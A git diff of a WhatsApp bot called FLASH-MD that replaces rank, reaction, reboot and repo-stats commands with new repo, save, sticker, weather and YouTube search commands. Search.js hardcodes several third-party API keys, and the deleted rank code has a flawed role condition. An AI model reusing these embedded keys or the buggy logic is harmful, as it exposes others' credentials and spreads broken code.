}, - { level: 3, xpThreshold: 2000 }, - { level: 4, xpThreshold: 4000 }, - { level: 5, xpThreshold: 7000 }, - { level: 6, xpThreshold: 10000 }, - { level: 7, xpThreshold: 15000 }, - { level: 8, xpThreshold: 20000}, - { level: 9, xpThreshold: 25000}, - { level: 10, xpThreshold: 30000}, - { level: 11, xpThreshold: 35000}, - { level: 12, xpThreshold: 45000}, - { level: 13, xpThreshold: 55000}, - { level: 14, xpThreshold: 65000}, - { level: 15, xpThreshold: 75000}, - { level: 16, xpThreshold: 90000}, - { level: 17, xpThreshold: 105000}, - { level: 18, xpThreshold: 120000}, - { level: 19, xpThreshold: 135000}, - { level: 20, xpThreshold: 150000}, - { level: 21, xpThreshold: 170000}, - { level: 22, xpThreshold: 190000}, - { level: 23, xpThreshold: 210000}, - { level: 24, xpThreshold: 230000}, - { level: 25, xpThreshold: 255000}, - { level: 26, xpThreshold: 270000}, - { level: 27, xpThreshold: 295000}, - { level: 28, xpThreshold: 320000}, - { level: 29, xpThreshold: 345000}, - { level: 30, xpThreshold: 385000}, - { level: 31, xpThreshold: 425000}, - { level: 32, xpThreshold: 465000}, - { level: 33, xpThreshold: 505000}, - { level: 34, xpThreshold: 545000}, - { level: 35, xpThreshold: 590000}, - { level: 36, xpThreshold: 635000}, - { level: 37, xpThreshold: 680000}, - { level: 38, xpThreshold: 725000}, - { level: 39, xpThreshold: 770000}, - { level: 40, xpThreshold: 820000}, - { level: 41, xpThreshold: 870000}, - { level: 42, xpThreshold: 920000}, - { level: 43, xpThreshold: 970000}, - { level: 44, xpThreshold: 1020000}, - { level: 45, xpThreshold: 1075000}, - { level: 46, xpThreshold: 1130000}, - { level: 47, xpThreshold: 1185000}, - { level: 48, xpThreshold: 1240000}, - { level: 49, xpThreshold: 1295000}, - { level: 'Zk-GOD', xpThreshold: 2000000} - ]; - - let level = 0; - let exp = xp; - let xplimit = levelThresholds[level].xpThreshold; - - for (let i = 0; i < levelThresholds.length; i++) { - if (xp >= levelThresholds[i].xpThreshold) { - level = levelThresholds[i].level; - xplimit = levelThresholds[i + 1]?.xpThreshold || 'No-limit'; - exp = xp - levelThresholds[i].xpThreshold; - } else { - break; - } - } - - return { - level: level, - xplimit: xplimit, - exp: exp - }; -} - -module.exports = { - get_level_exp, -} ; - -france( { - nomCom : "rank", - categorie : "Fun", - }, - async(dest,zk, commandeOptions)=> { - - const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu , mybotpic} = commandeOptions ; - - if (msgRepondu) { - - try { - - let rank = await getMessagesAndXPByJID(auteurMsgRepondu) ; - - const data = await get_level_exp(rank.xp) - let ppuser ; - - - try { - ppuser = await zk.profilePictureUrl(auteurMsgRepondu , 'image') ; - } catch { - ppuser = mybotpic() - } ; - - - let role ; - - if (data.level < 5) { - role = 'baby' - } else if (data.level >= 5 || data.level < 10) { - role = 'kid-Ninja' - } else if ( data.level >= 10 || data.level < 15 ) { - role = 'Ninja-genin' - } else if ( data.level >= 15 || data.level < 20 ) { - role = 'Ninja-chunin' - } else if ( data.level >= 20 || data.level < 25 ) { - role = 'Ninja-jonin' - } else if ( data.level >= 25 || data.level < 30 ) { - role = 'ANBU' - } else if ( data.level >= 30 || data.level < 35 ) { - role = 'strong ninja' - } else if ( data.level >= 35 || data.level < 40 ) { - role = 'kage' - } else if ( data.level >= 40 || data.level < 45 ) { - role = 'Hermit seinin' - } else if ( data.level >= 45 || data.level < 50 ) { - role = 'Otsusuki' - } else { - role = 'GOD' - } - - - let msg = ` -┏━━━┛ FLASH-MD Ranking┗━━━┓ - - *Name :* @${auteurMsgRepondu.split("@")[0]} - - *Level :* ${data.level} - - *EXP :* ${data.exp}/${data.xplimit} - - *Role :* ${role} - - *Messages :* ${rank.messages} - - ┕━✿━┑ ┍━✿━┙` - - zk.sendMessage( - dest, - { - image : {url : ppuser}, - caption : msg, - mentions : [auteurMsgRepondu] - }, - {quoted : ms} - ) - - - } catch (error) { - repondre(error) - } - } else { - - - try { - - let jid = auteurMessage ; - - let rang = await getMessagesAndXPByJID(jid) ; - - const data = get_level_exp(rang.xp) - let ppuser ; - - - try { - ppuser = await zk.profilePictureUrl(jid, 'image') ; - } catch { - ppuser = mybotpic() - } ; - - - let role ; - - if (data.level < 5) { - role = 'Nouveau né(e)' - } else if (data.level >= 5 || data.level < 10) { - role = 'kid-Ninja' - } else if ( data.level >= 10 || data.level < 15 ) { - role = 'Ninja-genin' - } else if ( data.level >= 15 || data.level < 20 ) { - role = 'Ninja-chunin' - } else if ( data.level >= 20 || data.level < 25 ) { - role = 'Ninja-jonin' - } else if ( data.level >= 25 || data.level < 30 ) { - role = 'ANBU' - } else if ( data.level >= 30 || data.level < 35 ) { - role = 'strong ninja' - } else if ( data.level >= 35 || data.level < 40 ) { - role = 'kage' - } else if ( data.level >= 40 || data.level < 45 ) { - role = 'Hermit seinin' - } else if ( data.level >= 45 || data.level < 50 ) { - role = 'Otsusuki' - } else { - role = 'level-GOD' - } - - - let msg = ` -┏━━━┛ FLASH-MD Ranking ┗━━━┓ - - *Name :* ${nomAuteurMessage} - - *Level :* ${data.level} - - *EXP :* ${data.exp}/${data.xplimit} - - *Role :* ${role} - - *Messages :* ${rang.messages} - - ┕━✿━┑ ┍━✿━┙` - - zk.sendMessage( - dest, - { - image : {url : ppuser}, - caption : msg - }, - {quoted : ms} - ) - - } catch (error) { - repondre(error) - } - - } - - -}) ; - -france( { - nomCom : "toprank", - categorie : "Fun", - }, - async(dest,zk, commandeOptions)=> { - - const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu , mybotpic} = commandeOptions ; - - - let msg = `┏━━┛ FLASH-MD-top-rang ┗━━┓\n\n` - - let topRanks = await getBottom10Users() ; - let mention = [] ; - for (const rank of topRanks ) { - - const data = await get_level_exp(rank.xp) ; - - let role ; - - if (data.level < 5) { - role = 'Nouveau né(e)' - } else if (data.level >= 5 || data.level < 10) { - role = 'kid ninja' - } else if ( data.level >= 10 || data.level < 15 ) { - role = 'Ninja-genin' - } else if ( data.level >= 15 || data.level < 20 ) { - role = 'Ninja-chunin' - } else if ( data.level >= 20 || data.level < 25 ) { - role = 'Ninja-jonin' - } else if ( data.level >= 25 || data.level < 30 ) { - role = 'ANBU' - } else if ( data.level >= 30 || data.level < 35 ) { - role = 'strong ninja' - } else if ( data.level >= 35 || data.level < 40 ) { - role = 'kage' - } else if ( data.level >= 40 || data.level < 45 ) { - role = 'Hermit seinin' - } else if ( data.level >= 45 || data.level < 50 ) { - role = 'Otsusuki' - } else { - role = 'level-GOD' - } - msg += `----------------------- - - *Name :* @${rank.jid.split("@")[0]} -*Level :* ${data.level} -*Role :* ${role}\n` ; - - mention.push(rank.jid) ; - } - - zk.sendMessage(dest, - { - image : { url : mybotpic() }, - caption : msg, - mentions : mention - }, - {quoted : ms}) - - - }) - - - - diff --git a/commands/Reactions.js b/commands/Reactions.js deleted file mode 100644 index 3effd95e..00000000 --- a/commands/Reactions.js +++ /dev/null @@ -1,123 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const axios = require('axios'); -const { france } = require("../framework/france"); -const fs = require("fs-extra"); -const { exec } = require("child_process"); -const child_process = require('child_process'); -const {unlink } = require ('fs').promises ; - - -// fonction sleep - -const sleep = (ms) =>{ - return new Promise((resolve) =>{ setTimeout (resolve, ms)}) - - } - -// Fonction pour la conversion de GIF en vidéo et récupération du buffer vidéo -const GIFBufferToVideoBuffer = async (image) => { - const filename = `${Math.random().toString(36)}`; - await fs.writeFileSync(`./${filename}.gif`, image); - child_process.exec( - `ffmpeg -i ./${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./${filename}.mp4` - ); - await sleep(4000); - - var buffer5 = await fs.readFileSync(`./${filename}.mp4`); - Promise.all([unlink(`./${filename}.mp4`), unlink(`./${filename}.gif`)]); - return buffer5; -}; - -const generateReactionCommand = (reactionName, reactionEmoji) => { - france({ - nomCom: reactionName, - categorie: "Reaction", - reaction: reactionEmoji, - }, - async (origineMessage, zk, commandeOptions) => { - const { auteurMessage, auteurMsgRepondu, repondre, ms, msgRepondu } = commandeOptions; - - const url = `https://api.waifu.pics/sfw/${reactionName}`; - try { - const response = await axios.get(url); - const imageUrl = response.data.url; - - // Obtenir le buffer du GIF en utilisant la fonction getBuffer - const gifBufferResponse = await axios.get(imageUrl, { - responseType: 'arraybuffer' }) ; - const gifBuffer = await gifBufferResponse.data; - - // Convertir le GIF en vidéo et obtenir le buffer vidéo - const videoBuffer = await GIFBufferToVideoBuffer(gifBuffer); - - // Envoyer la vidéo avec france - if (msgRepondu) { - var txt =` @${auteurMessage.split("@")[0]} ${reactionName} @${auteurMsgRepondu.split("@")[0]}` - zk.sendMessage(origineMessage, { video: videoBuffer,gifPlayback: true,caption:txt,mentions:[auteurMessage,auteurMsgRepondu] }, { quoted: ms }); - - } else { - const videoMessage = { - video: videoBuffer, - gifPlayback: true, - caption: `@${auteurMessage.split("@")[0]} ${reactionName} everyone`, - mentions: [auteurMessage] - }; - zk.sendMessage(origineMessage, videoMessage, { quoted: ms }); - } - - } catch (error) { - repondre('Erreur lors de la récupération des données :' + error); - console.log(error); - } - }); -}; - -// ... (utilisation de la fonction generateReactionCommand pour créer des commandes de réaction) - - -generateReactionCommand("bully", "👊"); -generateReactionCommand("cuddle", "🤗"); -generateReactionCommand("cry", "😢"); -generateReactionCommand("hug", "😊"); -generateReactionCommand("awoo", "🐺"); -generateReactionCommand("kiss", "😘"); -generateReactionCommand("lick", "👅"); -generateReactionCommand("pat", "👋"); -generateReactionCommand("smug", "😏"); -generateReactionCommand("bonk", "🔨"); -generateReactionCommand("yeet", "🚀"); -generateReactionCommand("blush", "😊"); -generateReactionCommand("smile", "😄"); -generateReactionCommand("wave", "👋"); -generateReactionCommand("highfive"); -generateReactionCommand("handhold"); -generateReactionCommand("nom","👅" ); -generateReactionCommand("bite", "🦷"); -generateReactionCommand("glomp", "🤗"); -generateReactionCommand("slap", "👋"); -generateReactionCommand("kill", "💀"); -generateReactionCommand("kick", "🦵"); -generateReactionCommand("happy", "😄"); -generateReactionCommand("wink", "😉"); -generateReactionCommand("poke", "👉"); -generateReactionCommand("dance", "💃"); -generateReactionCommand("cringe", "😬"); diff --git a/commands/Reboot.js b/commands/Reboot.js deleted file mode 100644 index 9a03f3aa..00000000 --- a/commands/Reboot.js +++ /dev/null @@ -1,52 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const {france}=require("../framework/france") - - - - - - - -france({nomCom:"reboot",categorie:"Mods",reaction:"👨🏿‍💼"},async(dest,z,com)=>{ - - - -const{repondre,ms,dev,superUser}=com; - - if(!superUser) - { - return repondre("This command is for owner only"); - } - - const {exec}=require("child_process") - - repondre("*Rebooting...*"); - - exec("pm2 restart all"); - - - - - - -}) diff --git a/commands/SC.js b/commands/SC.js new file mode 100644 index 00000000..4ca604da --- /dev/null +++ b/commands/SC.js @@ -0,0 +1,57 @@ +const { franceking } = require('../main'); +const axios = require('axios'); + +module.exports = { + name: 'repo', + get flashOnly() { + return franceking(); +}, + aliases: ['sc', 'script'], + description: 'Sends the official GitHub repository and stats for FLASH-MD-V2 WhatsApp bot', + execute: async (sock, msg) => { + const chatId = msg.key.remoteJid; + const githubRepoUrl = 'https://api.github.com/repos/franceking1/Flash-Md-V2'; + + try { + const response = await axios.get(githubRepoUrl); + const data = response.data; + + const stars = data.stargazers_count.toLocaleString(); + const forks = data.forks_count.toLocaleString(); + const createdAt = new Date(data.created_at).toLocaleDateString('en-GB'); + const lastUpdated = new Date(data.pushed_at).toLocaleDateString('en-GB'); + + const repoInfo = `*🤖 FLASH-MD-V2* + +A powerful, open-source WhatsApp bot built for speed, reliability, and ease of use. Designed to deliver blazing-fast responses and rich features for groups and individuals. + +*📂 GitHub Repository:* +https://github.com/franceking1/Flash-Md-V2 + +*⭐ Stars:* ${stars} +*🍴 Forks:* ${forks} +*📅 Created:* ${createdAt} +*♻️ Last Updated:* ${lastUpdated} + +_Star ⭐ the repository if you like the bot and want to support future development!_`; + + await sock.sendMessage(chatId, { + text: repoInfo, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + } catch (error) { + console.error('Error in github command:', error); + await sock.sendMessage(chatId, { + text: '❌ Error fetching repository information.' + }); + } + } +}; diff --git a/commands/Save.js b/commands/Save.js new file mode 100644 index 00000000..2e20f904 --- /dev/null +++ b/commands/Save.js @@ -0,0 +1,98 @@ +const fs = require('fs'); +const path = require('path'); +const { downloadMediaMessage } = require('@whiskeysockets/baileys'); +const { Sticker, StickerTypes } = require('wa-sticker-formatter'); +const { franceking } = require('../main'); + +const tempDir = path.join(__dirname, '..', 'temp'); +if (!fs.existsSync(tempDir)) { + fs.mkdirSync(tempDir); +} + +async function saveMedia(msgContent, type = 'file') { + const buffer = await downloadMediaMessage(msgContent, 'buffer', {}, { logger: console }); + const filename = path.join(tempDir, `${Date.now()}-${type}.bin`); + fs.writeFileSync(filename, buffer); + return filename; +} + +module.exports = { + name: 'save', + description: 'Save and resend a replied message (media/text/sticker).', + category: 'WhatsApp', + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args) => { + const recipientJid = king.user.id; + const myMedia = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!myMedia) { + return king.sendMessage(recipientJid, { + text: 'Reply to the message you want to save.' + }, { quoted: msg }); + } + + let sendMsg; + + try { + if (myMedia.imageMessage) { + const mediaPath = await saveMedia({ message: { imageMessage: myMedia.imageMessage } }, 'image'); + sendMsg = { + image: { url: mediaPath }, + caption: myMedia.imageMessage?.caption ?? '' + }; + } else if (myMedia.videoMessage) { + const mediaPath = await saveMedia({ message: { videoMessage: myMedia.videoMessage } }, 'video'); + sendMsg = { + video: { url: mediaPath }, + caption: myMedia.videoMessage?.caption ?? '' + }; + } else if (myMedia.audioMessage) { + const mediaPath = await saveMedia({ message: { audioMessage: myMedia.audioMessage } }, 'audio'); + sendMsg = { + audio: { url: mediaPath }, + mimetype: 'audio/mp4' + }; + } else if (myMedia.stickerMessage) { + const mediaPath = await saveMedia({ message: { stickerMessage: myMedia.stickerMessage } }, 'sticker'); + const sticker = new Sticker(mediaPath, { + pack: 'FLASH-MD', + type: StickerTypes.CROPPED, + categories: ['🔥', '⭐'], + id: 'flash-md-sticker', + quality: 70, + background: 'transparent' + }); + const stickerBuffer = await sticker.toBuffer(); + sendMsg = { sticker: stickerBuffer }; + } else if (myMedia?.conversation || myMedia?.extendedTextMessage) { + const textContent = myMedia.conversation || myMedia.extendedTextMessage?.text || 'Saved message'; + sendMsg = { text: textContent }; + } else { + return king.sendMessage(recipientJid, { + text: 'Unsupported message type.' + }, { quoted: msg }); + } + + await king.sendMessage(recipientJid, sendMsg); + + if (sendMsg.image || sendMsg.video || sendMsg.audio) { + const filePath = sendMsg.image?.url || sendMsg.video?.url || sendMsg.audio?.url; + try { + await fs.promises.unlink(filePath); + } catch (err) { + console.error('Failed to delete file:', filePath, err); + } + } + + } catch (err) { + console.error('[SAVE COMMAND ERROR]', err); + await king.sendMessage(recipientJid, { + text: 'An error occurred while saving the message.' + }, { quoted: msg }); + } + } +}; + diff --git a/commands/Sc.js b/commands/Sc.js deleted file mode 100644 index 74710e30..00000000 --- a/commands/Sc.js +++ /dev/null @@ -1,22 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - -'use strict';function _0x5a91(){const _0xa2080d=['https://api.github.com/repos/franceking1/Flash-Md','\x20People\x20are\x20using\x20FLASH-MD.*\x0a\x0a*','20DhyKKs','stargazers_count','58482eDSGXw','31CVqpLl','\x0a*A\x20Total\x20of\x20','sendMessage','2013615ACRzSN','Could\x20not\x20fetch\x20data','forks','../framework/france','3368547DReqgE','5qnwJaV','7774984fIeqTg','stars','json','defineProperty','2450814QEWoxp','log','120972rAqnMV','253DldEuf','fmd','176068bFSyOt','14cQwpkf','\x20People\x20have\x20starred\x20it\x20as\x20a\x20sign\x20of\x20Loving\x20it.*\x0a\x0a*KEEP\x20USING\x20FLASH-MD*\x20\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20*Made\x20With*\x20🤍','__esModule'];_0x5a91=function(){return _0xa2080d;};return _0x5a91();}const _0x33577f=_0x2672;function _0x2672(_0x1727da,_0x3c7296){const _0x5a911f=_0x5a91();return _0x2672=function(_0x2672dc,_0x3d31fb){_0x2672dc=_0x2672dc-0x8f;let _0x131c88=_0x5a911f[_0x2672dc];return _0x131c88;},_0x2672(_0x1727da,_0x3c7296);}(function(_0x5a29e5,_0x42f47f){const _0xaf16b9=_0x2672,_0x3c18bb=_0x5a29e5();while(!![]){try{const _0x9e6c68=parseInt(_0xaf16b9(0x93))/0x1*(-parseInt(_0xaf16b9(0x92))/0x2)+parseInt(_0xaf16b9(0x96))/0x3+parseInt(_0xaf16b9(0xa5))/0x4*(parseInt(_0xaf16b9(0x9b))/0x5)+parseInt(_0xaf16b9(0xa0))/0x6*(parseInt(_0xaf16b9(0xa6))/0x7)+parseInt(_0xaf16b9(0x9c))/0x8+-parseInt(_0xaf16b9(0x9a))/0x9*(parseInt(_0xaf16b9(0x90))/0xa)+parseInt(_0xaf16b9(0xa3))/0xb*(-parseInt(_0xaf16b9(0xa2))/0xc);if(_0x9e6c68===_0x42f47f)break;else _0x3c18bb['push'](_0x3c18bb['shift']());}catch(_0x1454ba){_0x3c18bb['push'](_0x3c18bb['shift']());}}}(_0x5a91,0x96aad));Object[_0x33577f(0x9f)](exports,_0x33577f(0xa8),{'value':!![]});const {france}=require(_0x33577f(0x99));france({'nomCom':_0x33577f(0xa4),'reaction':'😌'},async(_0x3b5c5b,_0x36008e,_0x2f66cd)=>{const _0x448cfe=_0x33577f,_0x5ca71f=_0x448cfe(0xa9),_0x15d782='https://telegra.ph/file/7cc6e55a2ea3d8cd7f30e.jpg',_0x20e692=await fetch(_0x5ca71f),_0x3283f0=await _0x20e692[_0x448cfe(0x9e)]();if(_0x3283f0){const _0x5a2f21={'stars':_0x3283f0[_0x448cfe(0x91)],'forks':_0x3283f0['forks_count']},_0x263678=_0x448cfe(0x94)+_0x5a2f21[_0x448cfe(0x98)]+_0x448cfe(0x8f)+_0x5a2f21[_0x448cfe(0x9d)]+_0x448cfe(0xa7);await _0x36008e[_0x448cfe(0x95)](_0x3b5c5b,{'image':{'url':_0x15d782},'caption':_0x263678});}else console[_0x448cfe(0xa1)](_0x448cfe(0x97));}); diff --git a/commands/Search.js b/commands/Search.js new file mode 100644 index 00000000..c32784a6 --- /dev/null +++ b/commands/Search.js @@ -0,0 +1,404 @@ +const { franceking } = require('../main'); +const axios = require('axios'); +const { Sticker, StickerTypes } = require('wa-sticker-formatter'); +const yts = require('yt-search'); +const BASE_URL = 'https://noobs-api.top'; + +module.exports = [ + { + name: 'attp', + get flashOnly() { + return franceking(); + }, + aliases: ['attp-sticker'], + description: 'Converts text into an ATTP sticker.', + category: 'User', + execute: async (king, msg, args, fromJid) => { + const text = args.join(" "); + if (!text) return await king.sendMessage(fromJid, { text: 'Please provide the text to convert into a sticker!' }, { quoted: msg }); + + const gifUrl = `https://raganork-api.onrender.com/api/attp?text=${encodeURIComponent(text)}&apikey=with_love_souravkl11`; + + try { + const packname = msg.pushName || 'FLASH-MD'; + const stickerMess = new Sticker(gifUrl, { + pack: packname, + author: 'FLASH-MD', + type: StickerTypes.FULL, + categories: ['🤩', '🎉'], + id: '12345', + quality: 40, + background: 'transparent', + }); + + const stickerBuffer = await stickerMess.toBuffer(); + await king.sendMessage(fromJid, { + sticker: stickerBuffer, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { + text: 'Error while creating that sticker. Please try again.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + { + name: 'stickersearch', + get flashOnly() { + return franceking(); + }, + aliases: ['stsearch', 'stickerfind'], + description: 'Search and create stickers from Tenor GIFs.', + category: 'Search', + execute: async (king, msg, args, fromJid) => { + const search = args.join(' '); + if (!search) return await king.sendMessage(fromJid, { + text: 'Insert the type of stickers you want!', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + try { + const res = await axios.get(`https://tenor.googleapis.com/v2/search?q=${encodeURIComponent(search)}&key=AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c&client_key=my_project&limit=5&media_filter=gif`); + const gifs = res.data.results; + + for (let gif of gifs) { + const sticker = new Sticker(gif.media_formats.gif.url, { + pack: msg.pushName || 'FLASH-MD', + author: 'FLASH-MD', + type: StickerTypes.FULL, + quality: 60, + background: 'transparent', + }); + + const buffer = await sticker.toBuffer(); + await king.sendMessage(fromJid, { + sticker: buffer, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } catch { + await king.sendMessage(fromJid, { + text: 'Error searching for stickers.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + { + name: 'weather', + get flashOnly() { + return franceking(); + }, + aliases: ['climate'], + description: 'Get the current weather for a specific location.', + category: 'Search', + execute: async (king, msg, args, fromJid) => { + const location = args.join(' '); + if (!location) return await king.sendMessage(fromJid, { + text: 'Give me a location to check the weather.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + try { + const res = await axios.get(`https://api.openweathermap.org/data/2.5/weather`, { + params: { + q: location, + units: 'metric', + appid: '060a6bcfa19809c2cd4d97a212b19273', + language: 'en' + } + }); + + const data = res.data; + const sunrise = new Date(data.sys.sunrise * 1000).toLocaleTimeString(); + const sunset = new Date(data.sys.sunset * 1000).toLocaleTimeString(); + const rain = data.rain ? data.rain['1h'] : 0; + + const text = `❄️ *Weather in ${data.name}, ${data.sys.country}* + +🌡️ Temperature: ${data.main.temp}°C (Feels like ${data.main.feels_like}°C) +📉 Min: ${data.main.temp_min}°C 📈 Max: ${data.main.temp_max}°C +📝 Condition: ${data.weather[0].description} +💧 Humidity: ${data.main.humidity}% +🌬️ Wind: ${data.wind.speed} m/s +☁️ Cloudiness: ${data.clouds.all}% +🌧️ Rain (last hour): ${rain} mm +🌄 Sunrise: ${sunrise} +🌅 Sunset: ${sunset} +🧭 Coordinates: ${data.coord.lat}, ${data.coord.lon} + +°Powered by FLASH-MD`; + + await king.sendMessage(fromJid, { + text, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { + text: 'Failed to fetch weather data.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + { + name: 'yts', + get flashOnly() { + return franceking(); + }, + aliases: ['ytsearch'], + description: 'Searches YouTube videos by keyword.', + category: 'Search', + execute: async (king, msg, args, fromJid) => { + const query = args.join(' '); + if (!query) return await king.sendMessage(fromJid, { + text: 'What do you want to search for?', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + try { + const info = await yts(query); + const videos = info.videos.slice(0, 10); + + let text = `*YouTube Search Results for:* _${query}_\n\n`; + for (let i = 0; i < videos.length; i++) { + text += `*${i + 1}. 